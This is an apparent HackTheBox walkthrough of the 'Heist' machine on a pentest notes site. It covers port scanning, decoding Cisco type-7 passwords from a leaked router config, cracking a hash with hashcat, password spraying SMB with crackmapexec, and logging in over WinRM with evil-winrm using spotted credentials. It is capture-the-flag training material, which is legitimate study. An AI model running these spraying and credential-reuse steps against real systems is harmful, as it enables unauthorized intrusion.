Pentest Everything
GitHubSupport Pentest Everything
  • ⚔️Pentest Everything
  • 🚩Writeups
    • CyberSecLabs
      • Active Directory
        • Dictionary
        • Spray (WIP)
      • Linux
        • Shock
        • Pie
      • Windows
        • Brute
        • Deployable
        • Glass
        • Monitor
        • Sam
        • Secret
        • Stack
        • Unattended
        • Weak
    • HackTheBox
      • Active Directory
        • Active
        • Blackfield
        • Cascade
        • Forest
        • Intelligence
        • Mantis
        • Monteverde
        • Resolute
        • Return
        • Sauna
        • Search
      • Linux
        • Antique
        • Armageddon
        • Backdoor
        • Bashed
        • Cap
        • Cronos
        • Curling
        • Knife
        • Lame
        • Help
        • Horizontall
        • OpenAdmin
        • Poison
        • SolidState
        • Traceback
        • Trick
      • Windows
        • Access
        • Artic
        • Bastard
        • Bastion
        • Bounty
        • Devel
        • Heist
        • Jeeves
        • Jerry
        • Legacy
        • Love
        • Optimum
        • Remote
        • SecNotes
        • Servmon
        • Timelapse
        • Querier
    • PG Play | Vulnhub
      • Linux
        • BBSCute
        • BTRSys2.1
        • Born2root
        • BossPlayersCTF
        • Covfefe
        • Dawn
        • DC5
        • Funbox
        • FunboxEasy
        • FunBoxEasyEnum
        • HackerFest2019
        • Geisha
        • JISCTF
        • My-CMSMS
        • NoName
        • OnSystemShellDredd
        • Photographer
        • Potato
        • PyExp
        • Samurai
        • SunsetDecoy
        • SunsetMidnight
        • SunsetTwilight
        • Wpwn
    • PG Practice
      • Linux
        • ClamAV
        • Nibbles
        • Payday
        • Pelican
        • Peppo
        • Postfish
        • Pwned1
        • Snookums
        • Sirol
        • Sorcerer
        • Quackerjack
        • WebCal
        • Walla
        • ZenPhoto
        • Zino
      • Windows
        • Algernon
        • Compromised
        • Kevin
        • Helpdesk
        • Hutch
        • Jacko
        • Meathead
        • Metallus
        • Shenzi
        • Slort
        • UT99
    • TryHackMe
      • Linux
        • All in One
        • Archangel
        • Anonforce
        • Biblioteca
        • Cat Pictures
        • Chill Hack
        • CMesS
        • ColddBox
        • ConvertMyVideo
        • CyberHeroes
        • Cyborg
        • Dav
        • Fusion Corp
        • GamingServer
        • Gallery
        • Internal
        • Jacobtheboss
        • Kiba
        • LazyAdmin
        • Library
        • Madness
        • Marketplace
        • Mustacchio
        • NerdHerd
        • Oh My WebServer
        • Olympus
        • Plotted-TMS
        • Skynet
        • Startup
        • Surfer
        • Team
        • Tech_Supp0rt: 1
        • Tomghost
        • VulnNet
        • Undiscovered
        • Year of the Owl
      • Windows
        • Blueprint
        • Enterprise
        • Flatline
        • Quotient
        • RazorBlack
        • Relevant
        • USTOUN
        • VulnNet: Roasted
    • To Do
      • AllSignsPoint2Pwnage (WIP)
      • Hunit (WIP)
      • Escape (WIP)
      • Banzai (WIP)
      • Billyboss (WIP)
      • Fish
      • Ra
      • Roquefort (WIP)
  • 💾GitHub
  • 🔵PsMapExec
    • Change Log
    • BloodHound
    • Using Credentials
    • Cross Domain Usage
    • Methods
      • Command Execution
      • DCSync
      • GenRelayList / SMB Signing
      • Inject
      • IPMI
      • Kerberoast
      • MSSQL
      • Session Hunter
      • Spray
    • Modules
      • Amnesiac
      • ConsoleHistory
      • Files
      • FileZilla
      • KerbDump
      • eKeys
      • LDAP / LDAPS
      • LogonPasswords
      • LSA
      • MDF
      • NTDS
      • Notepad
      • NTLM
      • SAM
      • SCCM
      • SessionExec
      • SessionRelay
      • SSH
      • TGTDeleg
      • VNC
      • Wi-Fi
      • WinSCP
    • Target Acquisition
  • Everything
    • Buffer Overflow Guide
    • Everything Active Directory and Windows
      • Active Directory Enumeration
      • ADCS
        • Enumeration - Certificate Authority
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC6
        • ESC7
        • ESC8
        • ESC9 - WIP
        • ESC11
      • Access Token Manipultion
        • Token Impersonation
        • Create Process with Token
        • 🔨Make and Impersonate Token
        • Parent PID Spoofing
        • 🔨SID-History Injection
      • Adversary-in-the-Middle
        • 🔨LDAP Relay
        • 🔨LLMNR
        • 🔨RDP MiTM
        • 🔨SMB Relay
      • Credential Access
        • Brute Force
          • Password Spraying
        • Credential Dumping
          • LSASS Memory
          • Security Account Manager (SAM)
          • NTDS
          • LSA Secrets
          • Cached Domain Credentials
          • DCSync
            • 🔨DCSync Attack
        • Credentials from Password Stores
          • Credentials from Web Browsers
          • Windows Credential Manager
        • Unsecured Credentials
          • Credentials In Files
          • Credentials in Registry
          • Group Policy Preferences
            • 🔨GPP Passwords
        • 🔨Modify Authentication Process
          • Domain Controller Authentication: Skeleton Key
          • Reversible Encryption
        • Steal or Forge Kerberos Tickets
          • AS-REP Roasting
          • Golden Ticket
          • Kerberoasting
          • Silver Ticket
          • S4U2Self
          • Ticket Aquisition
          • Constrained Delegation
          • Unconstrained Delegation
      • Collection
        • Clipboard Data
        • Audio Capture
      • Defense Evasion
        • Disable and Bypass Defender
        • Impair Defenses
          • Disable Windows Event Logging
          • Impair Command History Logging
          • Disable or Modify System Firewall
        • Indicator Removal
          • Clear Windows Event Logs
          • Clear Command History
          • File Deletion
          • Network Share Connection Removal
          • Timestomp
      • Input Capture
        • Keylogging
      • Lateral Movement
        • PowerShell Remoting
        • Alternate Authentication Material
          • Pass The Hash
          • Pass the Ticket
          • Pass the Password
      • File Execution Methods
      • File Transfer Techniques
      • Forced Coercion
        • URL File Attack
      • LAPS
      • Network Sniffing
      • Persistence
        • AdminSDHolder
        • BITS Jobs
        • Create Account
          • Local Account
          • Domain Account
          • Cloud Account
        • Create or Modify System Process
          • Windows Service
        • Custom SSP
        • DSRM
        • 🔨Persistence Notes
        • Skeleton Key Attack
      • Privilege Escalation
        • Privilege Escalation Checklist
        • DnsAdmin
        • Registry
          • Always Install Elevated
          • AutoRuns
        • Service Exploits
          • Insecure Service Permissions
      • SCCM / MECM
        • Recon
        • CRED-1 - PXE Abuse
        • CRED-2 - Policy Request Credentials
        • CRED-3 - WMI Local Secrets
        • CRED-4 - CIM Repository
        • CRED-5 - MSSQL Database
        • ELEVATE-2 - Client Push
        • TAKEOVER-2
      • Timeroasting
      • Tools
        • BloodHound
    • Everything Linux
      • File Transfer Techniques
      • Linux Privilege Escalation Techniques
      • Privilege Escalation Checklist
      • Shell Upgrades
    • Everything OSINT
      • Discovering Email Addresses
      • Dork Tools
      • Image OSINT
      • Metadata OSINT
      • Password OSINT
      • Phone Number OSINT
      • Search Engine Operators
      • Social Media OSINT Tools
      • OSINT CTFs
      • OSINT VM
      • Username OSINT
    • Everything Web
      • Command Injection
      • Enumeration
      • File Upload
      • Sub Domain Enumeration
      • XSS
    • Host Discovery
    • Pivoting and Portforwarding
    • Ports
      • Nmap Commands for port discovery
      • Port 21 | FTP
      • Port 25 | SMTP
      • Port 53 | DNS
      • Port 88 | Kerberos
      • Ports 111 | 32771 | rpcbind
      • Port 123 | NTP
      • Ports 137 | 138 | 139 | NetBIOS
      • Ports 139 | 445 | SMB
      • Ports 161 | 162 | SNMP
      • Port 389 | LDAP
      • Ports 1099 | Java RMI
      • Ports 2049 | NFS
      • Port 3389 | RDP
      • Ports 8080 | 8180 | Apache Tomcat
    • PowerShell
      • Constrained Language Mode
      • Download and Execution Methods
      • Resources
      • Restricted Mode
  • Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • OSINT Tools
    • Weakpass
  • Password Filter DLL
  • Dork Cheatsheet
Powered by GitBook
On this page
  • Nmap
  • Interesting attachment
  • Cisco Password Cracker
  • hashcat
  • Password Spraying #1
  • Password Spraying #2
  • WinRM
  • User Flag
  • Mozilla Maintenance Logs
  • Root Flag

Was this helpful?

  1. Writeups
  2. HackTheBox
  3. Windows

Heist

https://app.hackthebox.com/machines/201

Last updated 2 years ago

Was this helpful?

Nmap

sudo nmap 10.10.10.149 -p- -sS -sV                               

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
135/tcp   open  msrpc         Microsoft Windows RPC
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Starting out we dive straight into port 80 where we are present with a login page. Testing with some common usernames and credentials proves unsuccessful.

Interesting attachment

We then use the "Login as guest" option and are directed to the /issues.php page. On this we see the user Hazard has attached a router configuration file.

The contents of the Cisco router configuration has been inserted below.

version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 synchronization
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0Â mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 600
 authorization exec SSH
 transport input ssh

Cisco Password Cracker

A little bit of research shows the Cisco "7" passwords can be easily decrypted to reveal the corresponding plain text string.

The following URL can be used to decrypt Cisco 7 passwords. Where we input both strings to get the passwords shown below.

Passwords:

  • $superP@ssword

  • Q4)sJu\Y8qz*A3?d

hashcat

This encrypted secret string within the file was then cracked using hashcat.

hashcat -a 0 -m 500 hash.hash /usr/share/wordlists/rockyou.txt

Password Spraying #1

Storing all the cracked passwords within a file alongside discovered potential usernames we then password spray with crackmapexec against SMB on the target system.

crackmapexec smb '10.10.10.149' -u ~/Desktop/usernames -p ~/Desktop/passwords -d 'heist.htb' --shares

Where the following user credentials are revealed:

hazard:stealth1agent

Using the new set of credentials we can perform further recon against the target host to discover even more users.

enum4linux -u 'hazard' -p 'stealth1agent' -r '10.10.10.149' -w 'heist.htb'| grep 'Local User'

Password Spraying #2

With a more complete list of usernames we then spray again against SMB.

crackmapexec smb '10.10.10.149' -u ~/Desktop/usernames -p ~/Desktop/passwords -d 'heist.htb' --continue-on-success

Where the following user credentials are revealed:

chase:Q4)sJu\Y8qz*A3?d

WinRM

Using the newly acquires credentials we test WinRm with Evil-WinRm and obtain a foothold.

evil-winrm -i '10.10.10.149' -u 'chase' -p 'Q4)sJu\Y8qz*A3?d'

User Flag

Grabbing the user.txt flag.

Mozilla Maintenance Logs

Performing application enumeration on the target system we find Mozilla Firefox is installed.

Searching through the log files it is revealed the administrator has used credentials inline with the Firefox process which has been logged by the Mozilla Maintenance service.

Credentials: Administrator:4dD!5}x/re8]FBuZ

Root Flag

The credentials are then used against the system over WinRm and confirmed administrative access.

evil-winrm -i '10.10.10.149' -u 'administrator' -p '4dD!5}x/re8]FBuZ'
🚩
Page cover image